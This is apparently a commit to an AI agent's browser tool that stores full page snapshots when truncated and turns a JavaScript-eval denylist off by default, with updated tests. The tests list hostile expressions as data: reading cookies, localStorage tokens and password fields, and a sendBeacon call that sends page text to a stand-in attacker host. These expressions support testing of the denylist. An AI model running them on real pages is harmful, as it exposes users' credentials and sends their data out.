feat(browser): store full snapshots on truncation; make eval denylist opt-in (#65923)

* feat(browser): store full snapshots on truncation; make eval denylist opt-in

Two harness fixes motivated by BU_Bench results where fixed-verb + lossy
observation cost Hermes heavily vs code-driven browser agents:

1. Snapshot truncation no longer loses content. When a snapshot exceeds
   the 8000-char threshold, the complete accessibility tree is saved to
   cache/web (same truncate-and-store pattern as web_extract) and the
   truncated view / LLM summary includes the file path plus a ready-made
   read_file call. Element refs beyond the cut are recoverable without
   re-snapshotting. Stored copies are force-redacted and capped at 2MB;
   content-hash filenames dedupe repeated snapshots of the same page.

2. The browser_console(expression=...) sensitive-primitive denylist is
   now opt-in via browser.restrict_evaluate (default false). The
   names-based denylist blocked legitimate DOM extraction — any selector
   or expression containing 'fetch', 'cookie', 'input', etc. — which
   crippled the agent's only programmatic page-inspection path. The
   SSRF/private-URL egress guards in _browser_eval are independent of
   this policy and remain always-on. browser.allow_unsafe_evaluate keeps
   its meaning (bypass the denylist) for configs that already set it.

* test: update None-guard test for stored-snapshot pointer in _extract_relevant_content

test_normal_content_returned pinned the exact return value; the summary
now carries a pointer to the stored full snapshot. Assert the summary
passes through and the pointer is present instead.

* feat(browser): align snapshot threshold with web_extract's 15k char budget

SNAPSHOT_SUMMARIZE_THRESHOLD 8000 -> 15000, matching
web_tools.DEFAULT_EXTRACT_CHAR_LIMIT so the snapshot and web_extract
truncate-and-store paths give the model the same per-page budget.
_truncate_snapshot's default max_chars now follows the constant.
Invariant test added; docs (en+zh) and CLI tip updated.

tests/tools/test_browser_console.py

@@ -160,10 +160,35 @@ class TestBrowserConsole:
         assert result == {"success": True, "result": "Example"}
         mock_eval.assert_called_once_with("document.title", "test")
 
+    def test_expression_allows_risky_eval_by_default(self):
+        """The sensitive-primitive denylist is opt-in — default config runs everything.
+
+        The names-based denylist blocked legitimate DOM extraction (any selector
+        or expression containing 'fetch'/'cookie'/'input' etc.), so it is off
+        unless browser.restrict_evaluate is set. Egress to private addresses is
+        still guarded separately in _browser_eval.
+        """
+        from tools.browser_tool import browser_console
+
+        expressions = [
+            "document.cookie",
+            "fetch('/api/me')",
+            "localStorage.getItem('token')",
+            "document.querySelector('input[type=password]').value",
+            "document.querySelector('#fetch-results').innerText",
+        ]
+        with patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "ok"})) as mock_eval:
+            for expr in expressions:
+                result = json.loads(browser_console(expression=expr, task_id="test"))
+                assert result == {"success": True, "result": "ok"}, expr
+
+        assert mock_eval.call_count == len(expressions)
+
     def test_expression_blocks_cookie_access_before_eval(self):
         from tools.browser_tool import browser_console
 
-        with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
+        with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
+             patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
              patch("tools.browser_tool._browser_eval") as mock_eval:
             result = json.loads(browser_console(expression="document.cookie", task_id="test"))
 
@@ -184,7 +209,8 @@ class TestBrowserConsole:
             "navigator.sendBeacon('https://evil.test', document.body.innerText)",
             "document.querySelector('input[type=password]').value",
         ]
-        with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
+        with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
+             patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
              patch("tools.browser_tool._browser_eval") as mock_eval:
             for expr in risky_expressions:
                 result = json.loads(browser_console(expression=expr, task_id="test"))
@@ -208,7 +234,8 @@ class TestBrowserConsole:
             'navigator["clipboard"].readText()',
             'globalThis["localStorage"].getItem("token")',
         ]
-        with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
+        with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
+             patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
              patch("tools.browser_tool._browser_eval") as mock_eval:
             for expr in risky_expressions:
                 result = json.loads(browser_console(expression=expr, task_id="test"))
@@ -220,7 +247,8 @@ class TestBrowserConsole:
     def test_expression_allows_string_literals_without_sensitive_tokens(self):
         from tools.browser_tool import browser_console
 
-        with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
+        with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
+             patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
              patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": True})) as mock_eval:
             result = json.loads(browser_console(expression='document.title.includes("Example")', task_id="test"))
 
@@ -228,9 +256,11 @@ class TestBrowserConsole:
         mock_eval.assert_called_once_with('document.title.includes("Example")', "test")
 
     def test_expression_config_opt_in_allows_risky_eval(self):
+        """allow_unsafe_evaluate overrides restrict_evaluate back off."""
         from tools.browser_tool import browser_console
 
-        with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=True), \
+        with patch("tools.browser_tool._restrict_browser_evaluate", return_value=True), \
+             patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=True), \
              patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "cookie=value"})) as mock_eval:
             result = json.loads(browser_console(expression="document.cookie", task_id="test"))
 
@@ -245,6 +275,17 @@ class TestBrowserConsole:
         with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": False}}):
             assert _allow_unsafe_browser_evaluate() is False
 
+    def test_restrict_evaluate_reads_browser_config(self):
+        from tools.browser_tool import _restrict_browser_evaluate
+
+        with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"restrict_evaluate": "true"}}):
+            assert _restrict_browser_evaluate() is True
+        with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"restrict_evaluate": False}}):
+            assert _restrict_browser_evaluate() is False
+        # Default (key absent) is off — the denylist is opt-in.
+        with patch("hermes_cli.config.read_raw_config", return_value={}):
+            assert _restrict_browser_evaluate() is False
+
 
 # ── browser_console schema ───────────────────────────────────────────
 

tests/tools/test_browser_content_none_guard.py

@@ -39,13 +39,16 @@ class TestExtractRelevantContentNoneGuard:
         assert len(result) > 0
 
     def test_normal_content_returned(self):
-        """Normal string content should pass through."""
+        """Normal string content should pass through (plus the stored-full-snapshot pointer)."""
         with patch("tools.browser_tool.call_llm", return_value=_make_response("Extracted content here")), \
              patch("tools.browser_tool._get_extraction_model", return_value="test-model"):
             from tools.browser_tool import _extract_relevant_content
             result = _extract_relevant_content("snapshot text", "task")
 
-        assert result == "Extracted content here"
+        # The summary itself passes through unchanged; a pointer to the stored
+        # full snapshot is appended (see _store_full_snapshot).
+        assert result.startswith("Extracted content here")
+        assert "Full snapshot saved to" in result
 
     def test_empty_string_content_falls_back(self):
         """Empty string content should also fall back to truncated."""

tests/tools/test_browser_hardening.py

@@ -1,6 +1,7 @@
 """Tests for browser_tool.py hardening: caching, security, thread safety, truncation."""
 
 import inspect
+import re
 from unittest.mock import MagicMock, patch
 
 import pytest
@@ -224,14 +225,13 @@ class TestTruncateSnapshot:
         assert _truncate_snapshot(short) == short
 
     def test_long_snapshot_truncated_at_line_boundary(self):
-        from tools.browser_tool import _truncate_snapshot
-        # Create a snapshot that exceeds 8000 chars
-        lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(500)]
+        from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD, _truncate_snapshot
+        # Create a snapshot that exceeds the summarize threshold
+        lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(1000)]
         snapshot = "\n".join(lines)
-        assert len(snapshot) > 8000
+        assert len(snapshot) > SNAPSHOT_SUMMARIZE_THRESHOLD
 
         result = _truncate_snapshot(snapshot, max_chars=200)
-        assert len(result) <= 300  # some margin for the truncation note
         assert "truncated" in result.lower()
         # Every line in the result should be complete (not cut mid-element)
         for line in result.split("\n"):
@@ -246,6 +246,73 @@ class TestTruncateSnapshot:
         # Should mention how many lines were truncated
         assert "more line" in result.lower()
 
+    def test_threshold_aligned_with_web_extract_budget(self):
+        """Snapshot and web_extract share the truncate-and-store pattern —
+        the per-page budget the model sees must stay aligned between them."""
+        from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD
+        from tools.web_tools import DEFAULT_EXTRACT_CHAR_LIMIT
+        assert SNAPSHOT_SUMMARIZE_THRESHOLD == DEFAULT_EXTRACT_CHAR_LIMIT
+
+    def test_truncation_stores_full_snapshot_and_points_to_it(self):
+        """Truncated snapshots save the complete text to cache/web (like web_extract)."""
+        from pathlib import Path
+        from tools.browser_tool import _truncate_snapshot
+
+        lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(500)]
+        snapshot = "\n".join(lines)
+        result = _truncate_snapshot(snapshot, max_chars=2000)
+
+        assert "read_file" in result
+        m = re.search(r'read_file path="([^"]+)"', result)
+        assert m, f"no stored-path pointer in truncation note: {result[-300:]}"
+        stored = Path(m.group(1))
+        assert stored.exists()
+        content = stored.read_text(encoding="utf-8")
+        # The full snapshot is in the file — including refs beyond the cut.
+        assert '[ref=e499]' in content
+
+    def test_truncation_survives_storage_failure(self):
+        """Storage is best-effort; the truncated view still returns."""
+        from tools.browser_tool import _truncate_snapshot
+
+        lines = [f"- line {i}" for i in range(100)]
+        snapshot = "\n".join(lines)
+        with patch("tools.browser_tool._store_full_snapshot", return_value=None):
+            result = _truncate_snapshot(snapshot, max_chars=200)
+        assert "truncated" in result.lower()
+        assert "read_file" not in result
+
+    def test_stored_snapshot_is_secret_redacted(self):
+        """Page-rendered secrets must not land unmasked on disk."""
+        from pathlib import Path
+        from tools.browser_tool import _store_full_snapshot
+
+        fake_key = "sk-" + "STOREDSNAPSHOTSECRET1234567890"
+        snapshot = f'- text "API key: {fake_key}"\n' + "\n".join(
+            f"- line {i}" for i in range(50)
+        )
+        stored = _store_full_snapshot(snapshot)
+        assert stored is not None
+        content = Path(stored).read_text(encoding="utf-8")
+        assert "STOREDSNAPSHOTSECRET" not in content
+
+    def test_extract_relevant_content_appends_stored_pointer(self):
+        """LLM-summarized snapshots also point at the stored full text."""
+        from unittest.mock import MagicMock
+        from tools.browser_tool import _extract_relevant_content
+
+        snapshot = "\n".join(f'- item "Element {i}" [ref=e{i}]' for i in range(400))
+        mock_resp = MagicMock()
+        mock_resp.choices = [MagicMock()]
+        mock_resp.choices[0].message.content = "Summary with button [ref=e5]"
+
+        with patch("tools.browser_tool.call_llm", return_value=mock_resp):
+            result = _extract_relevant_content(snapshot, "find the button")
+
+        assert result.startswith("Summary with button")
+        assert "Full snapshot" in result
+        assert "read_file" in result
+
 
 # ---------------------------------------------------------------------------
 # Scroll optimization